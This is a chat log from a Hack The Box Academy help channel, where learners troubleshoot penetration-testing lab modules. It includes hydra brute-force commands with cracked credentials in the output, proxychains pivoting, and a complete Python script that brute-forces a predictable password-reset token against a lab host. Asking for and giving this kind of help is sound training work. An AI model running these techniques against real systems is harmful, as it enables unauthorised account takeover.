and if pwnbox takes too much time too, even tho you used the right command

[vast bolt]

i use pwn box too, wait i find you the command than i used

[marble island]

it was taking too long for me too

what i did is that i clicked on the solution and skiped waiting

also if you check the solution and you indeed put the right command and it was just a matter of waiting that isn't REAAAKY cheating

The solution also tells you if you are indeed using the right command, skipping a lot of frustration

Look tell me what you think, a lot of hacking by yourself is this grind of constant frustration and persistence

i'm working as a junior penetester, i have a mentor, the mentor teaches me the concept, and if you understand the concept because your mentor helped you out it skips a lot of the grinding and gets you the same learning experience

You can you the solution as your mentor, as long as you understand the concept it isn't really cheating

there might be the argument that you did not have to research the exact commands, but i believe that commands and other details will always change, but if you understand the concepts you are fine.

So that's my philosofical argument that if you check the solution it isn't really cheating as long you understand the concept

If you just copy paste the answer, yeah thats cheating because you learn't nothing

[marble island]

That's why is so good having a mentor

[vast bolt]

i would love too, but my mentor is working (he is a pentester too)

where can i find the solution?

[fresh plinth]

low-key jealous you guys are both working in the field

[marble island]

Right beside the submit button

On the right of the hint button

It will pop open a window with the walkthrought

[marble island]

there

[marble island]

But don't worry you can use the solution to be kinda of your mentor

[vast bolt]

idk why i dont have it

[marble island]

Do you have adblock?

[bright coral]

it's only available if you have the Gold or Silver annual plan.

[marble island]

Sheeeeeeesh

[marble island]

sheeeesh

Okay but lemme help you, tell me the exact thing you need the anwser for and ill tell you

[mint echo]

Hii everyone I was going through the Network enumeration with Nmap module, and read a line that says:

"By default, Nmap scans the top 1000 TCP ports with the SYN scan (-sS). This SYN scan is set only to default when we run it as root because of the socket permissions required to create raw TCP packets. Otherwise, the TCP scan (-sT) is performed by default. "

I decided to confirm it using chatgpt and it said this line is incorrect...

can someone tell me whats right?

[vast bolt]

the last section, and the first question (i need the password to connect in ssh too)

[fresh plinth]

To an extent I agree with this, so long as you try without a solution beforehand. If you immediately skip to the solution and then try to "learn" or reverse-engineer the solution for the sake of learning, I think you're still cheating yourself by skipping the chance to practice exploration. Besides, problems don't necessarily have only one solution.

[marble island]

In the table of contents, whitch one

[vast bolt]

skills assessments- Service login (login brute force module)

[marble island]

eazy, medium, hard?

[muted kindle]

You can observe in wireshark the traffic captured from sudo nmap will never have a complete tcp handshake (SYN scan)
And if you tried to -sS without sudo it will complain

[sonic wasp]

Nmap: A network scanning tool used to discover hosts and services on a computer network.
SYN scan (-sS): A type of port scanning technique that sends SYN packets to a target to determine the status of ports (open, closed, or filtered). It is efficient and stealthy but requires root privileges to send raw packets.
TCP connect scan (-sT): A port scanning technique that uses the operating system's network functions to establish a full TCP connection with each target port. This scan does not require root privileges but is less stealthy and slower compared to SYN scans.
Root: The highest level of access in a Unix-like operating system, providing unrestricted access to all commands and files.
Socket permissions: Security settings that control the ability to create and use network sockets, which are endpoints for sending and receiving data across a network.
In essence, Nmap's default behavior for scanning ports depends on the user's access level: root users perform a more efficient SYN scan, while non-root users perform a TCP connect scan.

[marble island]

you did this command right? "hydra -L Password-Attacks/username.list -P Password-Attacks/password.list ftp://STMIP -t 40 -f -u"

[marble island]

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-12-20 02:24:17
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 40 tasks per 1 server, overall 40 tasks, 21112 login tries (l:104/p:203), ~528 tries per task
[DATA] attacking ftp://10.129.50.229:21/
[STATUS] 724.00 tries/min, 724 tries in 00:01h, 20388 to do in 00:29h, 40 active
<SNIP>
[21][ftp] host: 10.129.50.229 login: mike password: 7777777
<SNIP>

this is the output of the hydra command

[vast bolt]

no i did hydra -L user.txt -P harry.txt -u -f ssh://SERVER_IP:PORT -t 64

[lavish vault]

waddip nerds

[marble island]

Did you use the username and password list provided by the module?

Oh wait

[vast bolt]

yeah harry and harry.txt

[marble island]

you trying to brute force ssh

brute force ftp bro

ssh is impossible to brute force

[vast bolt]

fr?

[marble island]

I mean, it is possible, it just takes a reaaaaaaly long tine

time

ftp is much faster and they using the same password on ftp for ssh

[vast bolt]

thanks for the tips

[sonic wasp]

That is very true

[normal sand]

Module: Attacking Common Services - Attacking FTP

What username is available for the FTP server?
|| I accessed the FTP service on port TCP/2121 using the anonymous login. I then downloaded the users.list file and passwords.list file to my attack host from the FTP server. To answer the question, I tried inputting all 11 usernames until I got the answer, which I did. ||

However, I know this can't be the right way to validate which username is available for the FTP service, so what is the right way?

[soft cedar]

you needed to bruteforce the one of the services with the wordlists. (ssh) i think.

[normal sand]

I've already attempted to brute force the FTP service runnning on the target using the users.list and passwords.list files I got. It didn't find any credentials that work.

What I'm trying to find is how I can validate the username for the FTP service.

[fiery berry]

Did you scan the full range of ports?

[normal sand]

Not yet, will do.

[fiery berry]

Anyhow try to bruteforce one more time the FTP server with the wordlists you got

[normal sand]

So brute forcing would be the only method of validating the username that works for the FTP service?

[normal sand]

I just noticed this module has a username list and password list under resources, so I'm trying to brute force with that this time.

[fiery berry]

I have used the one found in the FTP

[inner estuary]

hi

[normal sand]

Didn't work for me.

[fiery berry]

can you hide the screenshot and mark it as a spoiler? Try without using threads

[normal sand]

Okay.

[fiery berry]

Let me know how it goes otherwise dm me

[shut vapor]

From HTB Academy: Footprinting > DNS > Footprinting the Service:

This is because if there are other DNS servers, we can also use them and query the records. However, other DNS servers may be configured differently and, in addition, may be permanent for other zones.
https://academy.hackthebox.com/module/112/section/1069

Does this mean to say pertinent for other zones? I'm not familiar with and could not find any information about what it means for a DNS server to be permanent for a zone.

[covert vortex]

Bypassing Basic Authentication after changing request method to HEAD, still getting login form. Can someone help ?

[fiery berry]

did you change this only to HEAD?

[fathom pendant]

you can submit to #1234357888114364508 if you think it's a typo, if it gets fixed it does, otherwise you might get more clarity ¯_(ツ)_/¯

[shut vapor]

Exactly what I was just looking for, a way of offering feedback. Thanks!

[covert vortex]

I've tried several methods, like switching GET to HEAD, and using Burp functions to change GET requests to POST and then to HEAD, but nothing seems to work.

[fiery berry]

See if there is anything else you are missing by looking at the available HTTP verbs

[covert vortex]

My b, thought only the HEAD method would work for that

thanks mate

[fiery berry]

np

[dark garden]

Hello. I am working on the module "Pivoting, Tunneling, and Port Forwarding" and I am at the section "Dynamic Port Forwarding with SSH and SOCKS Tunneling".
I tried to perform an nmap scan using dynamic port forwarding but it seems that nothing is routed to the target machine.
I started by enabling port forwarding using SSH:
$ssh -D 9050 ubuntu@10.129.202.64
Then, I checked that my proxychains configuration is correct:

socks4     127.0.0.1 9050```
Finally, I ran my nmap command through proxychains:
```$proxychains nmap -v -Pn -sT 172.16.5.19 
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-01 15:26 CEST
Initiating Parallel DNS resolution of 1 host. at 15:26
Completed Parallel DNS resolution of 1 host. at 15:26, 0.01s elapsed
Initiating Connect Scan at 15:26
Scanning 172.16.5.19 [1000 ports]
Connect Scan Timing: About 15.50% done; ETC: 15:29 (0:02:49 remaining)```
We can see that nothing is port forwarded.

This is surprising because it works well using xfreerdp:

[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain  ...  127.0.0.1:9050  ...  172.16.5.19:3389  ...  OK
[15:27:52:113] [5112:5114] [WARN][com.freerdp.crypto] - Certificate verification failure 'self-signed certificate (18)' at stack position 0
[15:27:52:113] [5112:5114] [WARN][com.freerdp.crypto] - CN = DC01.inlanefreight.local
[15:27:54:421] [5112:5114] [INFO][com.freerdp.gdi] - Local framebuffer format  PIXEL_FORMAT_BGRX32
[15:27:54:421] [5112:5114] [INFO][com.freerdp.gdi] - Remote framebuffer format PIXEL_FORMAT_BGRA32
[15:27:54:440] [5112:5114] [INFO][com.freerdp.channels.rdpsnd.client] - [static] Loaded fake backend for rdpsnd
[15:27:54:440] [5112:5114] [INFO][com.freerdp.channels.drdynvc.client] - Loading Dynamic Virtual Channel rdpgfx```
What is wrong with my nmap command?

[fathom pendant]

i don't see where in your outputs it's not being routed?

nmap is showing that it's scanning

it takes slightly longer over a proxy due to it needing to route

-- Initiating Connect Scan
-- connect scan timing

[dark garden]

Here is the full log:

[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-01 15:40 CEST
Initiating Parallel DNS resolution of 1 host. at 15:40
Completed Parallel DNS resolution of 1 host. at 15:40, 0.01s elapsed
Initiating Connect Scan at 15:40
Scanning 172.16.5.19 [1000 ports]
Connect Scan Timing: About 15.50% done; ETC: 15:43 (0:02:49 remaining)
Connect Scan Timing: About 30.50% done; ETC: 15:43 (0:02:19 remaining)
Connect Scan Timing: About 45.50% done; ETC: 15:43 (0:01:49 remaining)
Connect Scan Timing: About 60.50% done; ETC: 15:43 (0:01:19 remaining)
Connect Scan Timing: About 75.50% done; ETC: 15:43 (0:00:49 remaining)
Completed Connect Scan at 15:43, 201.36s elapsed (1000 total ports)
Nmap scan report for 172.16.5.19
Host is up.
All 1000 scanned ports on 172.16.5.19 are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 201.47 seconds

There are no metion of [proxychains] Strict chain ... 127.0.0.1:9050 ... 172.16.5.19:3389 ... OK like we have using xfreerdp. Moreover, when I use wireshark to sniff the tun0 interface, I can see that nothing is sent to the target machine.

[fathom pendant]

it's also just a case of nmap sometimes is dumb

try specifically scanning for 3389

[fiery berry]

The machine inside 172 maybe doesn't know how to route the traffic back to your attack host

[dark garden]

That's not better:

[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-01 15:48 CEST
Initiating Parallel DNS resolution of 1 host. at 15:48
Completed Parallel DNS resolution of 1 host. at 15:48, 0.01s elapsed
Initiating Connect Scan at 15:48
Scanning 172.16.5.19 [1 port]
Completed Connect Scan at 15:48, 2.00s elapsed (1 total ports)
Nmap scan report for 172.16.5.19
Host is up.

PORT     STATE    SERVICE
3389/tcp filtered ms-wbt-server

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.13 seconds```

[dark garden]

So why does it work with xfreerdp?

Moreover, as no packets are sent through tun0, I do not think this is a routing issue from the target network.

And is there a way to make it work with nmap? In the module, we can see that we get a respoonse from port 3389 in the nmap scan.

[fiery berry]

Sure, scan directly from the jump host since it has an interface on 172

[dark garden]

Well, the module is about port forwarding... 🙂
Also, nmap is not installed on this machine.

[fathom pendant]

also since it's showing as filtered it doesn't mean it's closed

nmap by default doesn't show filtered ports

[fiery berry]

maybe you can do something with socat but it gets messy, my advice is to scan directly from the jump host

[dark garden]

The port is filtered because I got no response:

3389/tcp filtered ms-wbt-server no-response

It is normal because, given wireshark data, nothing is sent to the target. I would like to know why. In the module, the same command seems to work.

[fathom pendant]

or use nmap's proxy option

[dark garden]

I already tried and I got the same result.

[fiery berry]

as well

[fathom pendant]

either way

you know RDP is open, don't get hung up on it

if you're on US servers that's likely why, it seems some labs have issues fully spawning internal networks

EU seems to be fine though

[fathom pendant]

This module specifically has you run nmap from your host through proxychains

[fiery berry]

I'm looking at it now

[dark garden]

I am using EU1.

[dark garden]

The purpose of a module is to learn. 🙂

[fathom pendant]

again

sometimes you'll run into things that just don't work exactly as shown

[proud pine]

That is actually really strange. Are you sure you're still SSH'd to the linux host?

[fiery berry]

I'm getting the same

[pale tinsel]

need help guys. I got stuck at "ATTACKING COMMON SERVICES - Attacking FTP" exercise

[fathom pendant]

what have you tried, did you scan all ports?

[proud pine]

It should work just fine with nmap, and your output suggests that it wasn't being handled by proxychains. However, I am unable to reproduce this - it works 100% fine on my side.

[pale tinsel]

found 2121 port stuck at password guessing

[fathom pendant]

did you try ||anonymous||

[pale tinsel]

yes I tried but didn't worked

[fathom pendant]

?

it should

you're still digging the 10.129.x.x inlanefreight.htb site

you're gonna find answers within those records

within the records you will find there

or one of the other subdomains you can dig to

[pale tinsel]

got it

[fathom pendant]

did you not specify port for ftp?

[pale tinsel]

I did not tried without password

[fathom pendant]

that's how that login works my guy

if you read the section it talks about anon login

[pale tinsel]

yeah Thanks

[fathom pendant]

are you digging to the subdomains with the @10.129.x.x?

weird

this is on Active Subdomain Enumeration in the Info Gathering Module yeah?

try more of the found subdomains

there's more than those

hint: you know where the txt record is yes?

look there

[hexed lintel]

help me guys

stuck at the forever

i cant make john crack the pass of zip file

[wide river]

hashid file.hash

[fathom pendant]

did you try with the mutated password list?

[hexed lintel]

yes , didnt work
john does nothing , it says session completed after one second of execution

[next bronze]

I wouldn't use john tbh and your mutated list needs to have 94k words

[fathom pendant]

^

[hexed lintel]

tried with frackzip

[fathom pendant]

been meaning to throw an erratum for this module as the cheatsheet is missing the | sort -u

[fathom pendant]

it should work with john/hashcat

[wide river]

Module:
Section:
Link of the module:
Description:

[fathom pendant]

eh in future do that

but this is at least a niche enough question to know where it's from

link of module isn't necessary tbqh

[hexed lintel]

module password attack
section Protected Archives
link : https://academy.hackthebox.com/module/147/section/1323

[fathom pendant]

and double checked the official walkthrough:: the mutated wordlist should have the password

not the mutated kira list but the full- whole hog- mutated list that has 94k words

[wide river]

im just lazy to manually look it up XD

[fathom pendant]

¯_(ツ)_/¯

[hexed lintel]

when i dont supply wordlist it starts bruteforcing
when i supply the wordlist it stops bruteforcing

[fathom pendant]

i just know it's in the mutated list

[hexed lintel]

session complets in 00:00:00

[fathom pendant]

it looks like you're only using the mutated Kira list

not the full mutated list created from the password.list and custom.rule

as stated earlier; that word list is ~94k words long

the tail end of the full mutated list should be Yellow99!

[stuck charm]

How to track ip address

[hexed lintel]

got it

[next bronze]

don't use --force when you're mutating a wordllist with hashcat btw

[limber river]

<@&861185840277487616>

[fathom pendant]

For what purpose, tracking an IP doesn't necessarily go as far as you think

It can give you a general geographic location

[fringe urchin]

https://tenor.com/view/excellent-ip-address-i-have-your-ip-address-gif-23894879

[narrow solar]

hey friends, i am at Skills Assessment - File Upload Attacks, trying to get the source code but i dont know whats wrong, i did a year ago and trring it again 😅

[limber river]

you sure the path is correct ?

idk how it will handle /contact/upload.php

[narrow solar]

oh yes my bad, i tried contact/upload.php too but the same happened

[limber river]

start with ../index.php first

[narrow solar]

same 😅

[unreal seal]

I need help in Q1 from Predictable Reset Token section from Broken Authentication academy module.
I understand what to do but am confused with the format.

[fathom pendant]

Look up predictable reset token in this channel I belive @next bronze made a list of basic things to do

[eager ledge]

Hi I am doing ICMP Tunneling with SOCKS module of "PIVOTING, TUNNELING, AND PORT FORWARDING" module. And I have set up ptunnel server and connected to the server so that listener at port 2222 is started on my attackbox. However, when I try to establish SSH conection through ICMP tunnel, it is not reliable and doesn't suceed much. I keep on getting the error. Is this expected behavior? If not, what can I do to make it more reliable?

[next bronze]

#modules message

[limber river]

did you try to decode the content and see what you got ?

[limber river]

it should be pinned

[narrow solar]

yes its the file i am trying to send

[unreal seal]

i know all these things.
but look like something is wrong in my solve.
can i DM you the solution?

my script should work but there is not hit.

i have read the source and know that last 3 digits are to be bruteforced which i did.

[next bronze]

huh? no it's the whole md5 hash

generate a hash for every milisecond

[unreal seal]

i have computed md5 according to the open meeting source code snippet

[narrow solar]

i just got it for some reason it was the magic bytes that not making it work, thats so strange 😅

thank u so much

[limber river]

||GIF-8 ?||

[limber river]

I didn't help , but gg

[unreal seal]

time = re.findall(r'created at (\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}\w{2})', data)[0]

utc_datetime = int(datetime.strptime(time, '%Y-%m-%d %I:%M:%S%p').timestamp())
utc_datetime *= 1000

hash(b'htbuser'+str(utc_datetime+i).encode())

here is the specific portion of my code which i am using to get the hash

[narrow solar]

no its|| ÿØÿà for jpg||

[next bronze]

it should be in epoch time, and again you'll need to generate a hash for every milisecond, I'm not seeing the loop where you're doing that

[limber river]

weird you got this in your first request

[next bronze]

read this again pls #modules message

[narrow solar]

no i mean it worked when i remove it, it was the reason for it to not work

[limber river]

aah mayeb it force the file to be jpg instead of svg so the webapp couldn't read the file

[narrow solar]

i think so, but i tried without it first and it didnt work for some reason 🤔

[limber river]

maybe the path was wrong

[unreal seal]

i think i am doing it correctly while keeping millseconds in mind.

[potent thorn]

any one done the Attacking Common Applications - Other Notable Applications questions? Outside of the metasploit module is there another way to do this?

I was using the same exploit as in this post
https://forum.hackthebox.com/t/attacking-common-applications-other-notable-applications/252457

i was trying to get the powershell invoke request to execute a custom msfvenom payload reverse shell. I tried multiple extnsions but nothing contacted my listener. any help?

[narrow solar]

aaah yes, u r right 😅 😂

[next bronze]

you'll also need epoch time

[next bronze]

100-1000 range? so you're also only sending 900 requests

[unreal seal]

bcz only only need last 3 digits for mill seconds thats why it is from 100-1000 cuz this range has all 3 digits numbers

[next bronze]

that doesn't seem right, the requests need to be from the range of +/-1 seconds, so you'll need to cover a second before the start too

I'm not sure what kind of hash you're generating, and you're hashing the bytes of the string itself, idk if that will make it generate a different hash

I believe there's a sample given in the section, try to use that

[unreal seal]

Here is the complete code

from datetime import datetime
import requests
import hashlib
import re

ip = "http://94.237.49.212:43831"

hash = lambda x: hashlib.md5(x).hexdigest()

def get_token():
    data = {"submit":"htbuser"}
    req = requests.post(ip+'/question1/', data=data)
    return req.text

    
data = get_token()
token = re.findall(r'token is: ([a-f0-9]+)', data)[0]
time = re.findall(r'created at (\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}\w{2})', data)[0]

utc_datetime = int(datetime.strptime(time, '%Y-%m-%d %I:%M:%S%p').timestamp())

for i in range(0,1000):
    calc_token = hash(b'htbuser'+(str(utc_datetime+i)).encode())
    print(str(utc_datetime)+str(i))
    # print(calc_token, token)
    if calc_token == token:
        print("Hit finally")
        exit()

utc_datetime = int(datetime.strptime(time, '%Y-%m-%d %I:%M:%S%p').timestamp())+1

for i in range(0,1000):
    calc_token = hash(b'htbuser'+(str(utc_datetime+i)).encode())
    print(str(utc_datetime)+str(i))
    # print(calc_token, token)
    if calc_token == token:
        print("Hit finally")
        exit()

utc_datetime = int(datetime.strptime(time, '%Y-%m-%d %I:%M:%S%p').timestamp())-1

for i in range(0,1000):
    calc_token = hash(b'htbuser'+(str(utc_datetime+i)).encode())
    print(str(utc_datetime)+str(i))
    # print(calc_token, token)
    if calc_token == token:
        print("Hit finally")
        exit()
        ```

i have also add +1/-1 still not hit.

[unkempt ether]

INTRODUCTION TO MALWARE ANALYSIS - Debugging
guys i am having trouble i used my own vm downloaded inetsim and configured it accordingly, i updated the dns for the windows machine.
i did all the debugging
0x1 to 0x0
je to jne
jne to jmp
when i run nothing happens i have also browsed to my internet and can see that inetsim is configured properly.
Any help please

[dim wolf]

did you network the two vms?

[unkempt ether]

what do you mean by that?

[dim wolf]

inetsim should be running on another vm, no?

[unkempt ether]

yep

[dim wolf]

so you have to network the two vms so that they can communicate with each other

did you do that?

[unkempt ether]

change the dns address in the windows machine?

[dim wolf]

no, i mean like in the hypervisor settings

they should be able to ping each other

[unkempt ether]

from my windows ping to the target?

[dim wolf]

i guess not the windows machine but you should be able to ping the linux vm from your windows vm

oh i understand now i read it wrong

i thought you had two VMs

if you are doing it from your own vm, you are going to have some trouble

[unkempt ether]

i think tried it on the instance provided also it had the same problem

[dim wolf]

i did it with the pwnbox but that was awful and not recommended

[fathom pendant]

Vbox has documentation on its networking modes

[dim wolf]

if you can do it, i would try to setup your own airgapped network

[unkempt ether]

does setting the breakpoint matter?

[fathom pendant]

https://www.virtualbox.org/manual/ch06.html

[dim wolf]

if you updated the jump instructions accordingly, then it shouldn't matter

[fathom pendant]

Setting a breakpoint tells the debug to stop after or at a certain instruction point

[dim wolf]

do you get the popup message saying that it sent to C2?

[unkempt ether]

nope

[dim wolf]

then you may have missed a jmp instruction

[unkempt ether]

theres only 3 right?

[dim wolf]

i can check my notes real quick

yeah there are only three

[unkempt ether]

when i open shell.exe without anything i also didnt get any sandbox detected prompt

[dim wolf]

this is kind of difficult to debug since i'd have to do the exercise myself

i wonder if the message pops up after it sends the connection or before it sends the connection

[unkempt ether]

what do you mean by that?

[dim wolf]

if the message pops up after it sends the connection, then it has to actually make the connection first. if it can't do that, then it can't send the message, thus no message box

which would mean that you may have something configured incorrectly

if it sends it before it actually makes the connection, then i'm not sure what the issue is

i would assume the former in this case

so can you show your DNS config real quick

[unkempt ether]

i already closed it already im bout to go to bed im gonna reread it tmr

[dim wolf]

https://tenor.com/view/skeleton-drop-gif-1982649100088909979

[unkempt ether]

the inetsim works when i went to the internet and search something it shows inetsim

so it cant possibly be with dns configuration issue

[dim wolf]

it may be a server issue too, idk

[strange trout]

Did anyone else take 1.5 hrs to complete the Oracle TNS module? the odat.py was the slowest thing on earth

[unkempt ether]

can i dm you my whole steps from start to finish tmr?

[next bronze]

I'm not a code reviewer unfortunately, but here is the general loop I used

dt_now = datetime.strptime(timestamp, "%Y-%m-%d %I:%M:%S%p")
dt_utc = dt_now.replace(tzinfo=pytz.UTC)
current = int(dt_utc.timestamp() * 1000)
start = current - 1001
for i in range(start, current + 1001)
...
def check_token(i):
      input_str = f"htbadmin{i}"
    token = hashlib.md5(input_str.encode()).hexdigest()
    data = {"token": token, "submit": "check"}

    response = requests.post(url, data=data)

    if "Wrong token" not in response.text:
        match = re.search(flag_re, response.text)
        return token, match.group() if match else None, i
    return None, None, i

[dim wolf]

might not be here but you can ping me

i'd need my notes which i only have on my pc

[unkempt ether]

mb read that wrongly

[unreal seal]

thanks, i will try it and let you know.

[unreal seal]

Thanks @next bronze. solved via your script.

[fickle thicket]

weird. got the platinum member subscription and received the 1000 cubes but the amount of cube required for the module remains unchanged

[dim wolf]

the prices for the modules don't change

[fickle thicket]

isn't there supposed to be a 36% discount?

for platinum ?

[dim wolf]

where does it say that?

[languid fjord]

Compared to buying the cubes outright

[dim wolf]

that's a 36% discount for buying cubes

[fickle thicket]

Oooooo

Oooooo. so sorry for the mistake LOL

[fathom pendant]

Compare the $68 To the price of outright buying cubes

[fickle thicket]

yea, i made a mistake😅

[soft cedar]

can someone give the the total cost for cpts exam + student plan?
the cheapest route to get it

[dim wolf]

$218

if you can complete it in one month that is

but probably not so $210 + $24 (3 month student sub)

[flint bane]

3 month that my goal before my next semester start

[soft cedar]

then you buy cpts voucher right?

[dim wolf]

yea $210 is the exam voucher

for a total of $234

[soft cedar]

thank you

[fluid basin]

https://europe1.discourse-cdn.com/hackthebox/original/3X/c/6/c6988c964934f9259ee9db4ea9dbb8f6c0c64b9e.png

In the Thick Client portion of the Attacking Common App module I keep getting this error across multiple resets. If anyone is familiar with it, please point me in the right direction.

P.S I cant paste my screenshot in this chat so hopefully the above link is sufficient

[fathom pendant]

Read and follow #welcome to be able to screenshot

[fluid basin]

Thank you @fathom pendant I hope you guys can see it now

[fathom pendant]

access denied
Your user isn't admin/system to be able to perform the task

[fluid basin]

The credentials HTB gives me for the exercise allows me to run tools as an administrator. Is that different from the permissions your implying? I can access PowerShell for example as system

[rustic sage]

Hey

I'm having problems accessing the target machine, ping and nmap get no response (I'm using pwnbox), thank you if anyone can help me

[fathom pendant]

Click the "change" button with the UAC shield next to it

[fathom pendant]

What academy module is this in relation to

[rustic sage]

I'm at HTB Labs

I'm new and I can't send messages on other discord channels

[fathom pendant]

Read and follow #welcome to access more channel like #starting-point (starting point) and #boxes (boxes)

[rustic sage]

Ok

[oak hollow]

im working in footprinting on pentester path... am I going crazy with smtp-user-enum command... this should work right?! i even try it with -p and still throws the same error (even though its not needed bc -p 25 by default)

[heavy marsh]

Anyone else have issues with the "Permissive File System ACLs" section of the Windows Privesc module?

I am trying to run the
sc start SecurityService
but I am not getting the reverse shell

went and checked the walkthrough and I did everything exactly how the walkthrough showed

[fathom pendant]

increase the timeout

it's either w or W i genuinely forget

also -t is the port

not the target

wait

it's just being dumb ig

bc that looks like it should be valid syntax

[fathom pendant]

module and section?

[fathom pendant]

just spun up my own pwnbox, works fine for me

[fathom pendant]

also use the footprinting wordlist from resources

it could just be that the Userlist doesn't exist and it's being dumb

it's -w btw

you can also adjust worker processes with -m

default is 5

[stuck pier]

Good evening house pls still on kerberoasting section of windows Attack & defense I have solved the number 1 task that has to do with password of svc-iam user the event side it’s where I ma I have successfully logged to the stipulated ip_add my issue it’s that I search event 4769 and try to find svc-iam but the only results I got the sid I got it’s incorrect any hint on where I got it wrong ?

[stuck pier]

Here’s it’s the question {After performing the Kerberoasting attack, connect to DC1 (172.16.18.3) as 'htb-student:HTB_@cademy_stdnt!' and look at the logs in Event Viewer. What is the ServiceSid of the webservice user?} so it’s referring to web service user Sid and the just concluded attack was on svc-iam user

[little bear]

Got a quick one I could use a nudge on deducive reasoning: Using xp_cmdshell to file transfer executes the command get request via powershell, doesnt transfer the data, but crates the empty file. I have a decent idea, but want to gain validity if using http is not the way vs smb in terms of theory

[fathom pendant]

many ways to crack an egg ed boi

certutil is often better for this purpose than xp_cmdshell powershell -c "wget" blah blah

[little bear]

The fact you used an ed edd and eddy reference grants you many rep points. GG

So funny thing is Ive attenpted certutil, and Im sure the syntax is incorrect but it does execute. Wget, etc seems to take quite a bit to hang or timeout--or do magical fairy things I'm not aware of Lol

Hmm...

If certutil works via the specified port for the ft server, but no data is transferred, then Im either stuck on reverse proxy to an internal host or the protocol should be smb to perform the ft (using native tools). I'm not satisfied with this, but it might be the technical solution

I'm open to more input, as I'm perplexed why data failed transfer but created the file

Thanks Marcie!

[fathom pendant]

👍

just refer back to the file transfers module if something ever goes oopsie in a file transfer

You might generally fall into a habit of one, but doesn't hurt to know others

[little bear]

This is tru
Great! Appreciate this a lot!

[fathom pendant]

Speaking of I need to re-set up my attacker nginx that had all my cool tools to transfer

i even had an apache default html for the luls

[eager ledge]

??

[fathom pendant]

it doesn't look like expected behavior

have you tried changing vpn regions and performing the same steps

can you complete it using a different technique

[oak hollow]

sanity check: if i have a ssh pub key, i should be able to change the perms of the pubkey and be able to send it to ssh with -i flag... (given all the other info is correct) correct?

something is amiss in my brain

[cloud urchin]

yeah

as long as they keys were also added on the remote server

[oak hollow]

well, this instance, i just stole the keys from a port open but im not able to overwrite the authkeys or put in my own id_rsa, so im just trying to force ssh to use their own users ssh pubkey to access

[cloud urchin]

yeah most likely it's already there if you got it from the same box

[fathom pendant]

well

[cloud urchin]

or another box on the network

[fathom pendant]

you wouldn't use their pubkey to access

you'd use their priv key

aka the id_rsa file

(or you'd add your public key to the authorized users file)

[oak hollow]

there is a lightbulb in my brain now

but I guess the reason is, why? wouldnt the server have their own priv key, so I would use what's typically publicly available to me? why would I send the server the priv key?

[cloud urchin]

because its YOUR private key

for that specific user

[fathom pendant]

^

generally you don't put your private key out on the open internet

doing so would be bad for you

[cloud urchin]

you wouldn't want to share your private key because then someone could auth as you

[fathom pendant]

your private key says "I am this person" and the server agrees, because who else would have your private key right?

whenever something is sent over SSL to you, it's encrypted using your public key, and decrypted on your end with your private key

[oak hollow]

ah, okay this all makes sense. My thought process here was the server has the privkey of said user, so let me send the pubkey of said user to it so it can validate it, but if EVERYONE has the pubkey it doesnt make sense for the server to give me access as that user because it doesnt actually authenticate me

[fathom pendant]

it's why; in ANY text regarding the pub/private pair, you're ALWAYS urged to never give your private key

[fathom pendant]

exactly; what the private key authentication does is it compares it to the public key (or authorized keys) file for what would give it a proper sum value (As this specifically is based on the RSA algorithm, which is just 2 REALLY big prime numbers

there's some other stuff that goes into creating it

but at the core of it is REALLY big numbers

the product of 2 primes which makes it hard to actually decode (at least for current computing standards)

https://en.wikipedia.org/wiki/RSA_(cryptosystem)

[oak hollow]

so sorry to beat this topic, so if sending my privkey is part of the authentication process, is sending a pubkey just for "authorization"? Like why would I send my pubkey or what instances would that be?

[oak hollow]

crypto was my most devasting course in my studies LOL this explains why I'm asking so many questions

[fleet saddle]

hi, sorry to post here but I can't find the appropriate channel to ask.

I'm unable to login to htb academy after they migrate to single sign on. anybody facing the same issue?

[fathom pendant]

reach out to support

[fleet saddle]

my email is only registered with htb academy and not htb account.

[fathom pendant]

they're the only ones that can help you

[fleet saddle]

I've dropped them an email at [e-mail] but still not getting any response.

[fathom pendant]

well then be patient

this channel is in regards to academy modules

not general support, support agents do not monitor this chat

nor the discord in general

it is also the weekend, so it may also increase a time of response

[fleet saddle]

I see.

[fathom pendant]

np; the other part of RSA is message signing, but in this case you're not signing anything (Aside from maybe your connection packet, but that's a whole other can of worms that i'm not qualified to discuss lmao)

[west canopy]

whats the earliest date you can see in the logs, after filtering for event 4769?

[fathom pendant]

they figured it out; they reset and re-ran the attack

#cdsa was where we resolved

[west canopy]

ah gotcha

thank you 🙂

[fathom pendant]

np

i sanity checked the guide for them

so that way they weren't going crazy

i wonder if i binged the CDSA path how fast i could complete it 🤔

[west canopy]

some of the modules require a ton of reading

[fathom pendant]

i mean i've sanity checked a bunch of people on the reading portions before

[spark charm]

any academy admin?

[fathom pendant]

for?

[spark charm]

i just notice something wrong in a nmap section in the academy

[fathom pendant]

well if it's an error you feel needs correction

there's #1234357888114364508

[spark charm]

no it's just a mistike from who write the command

[fathom pendant]

Module Name - Section
Type of correction -- (screenshots as applicable)
Tag (in this case typo)

even if it's a small mistake it's still something you can throw at #1234357888114364508

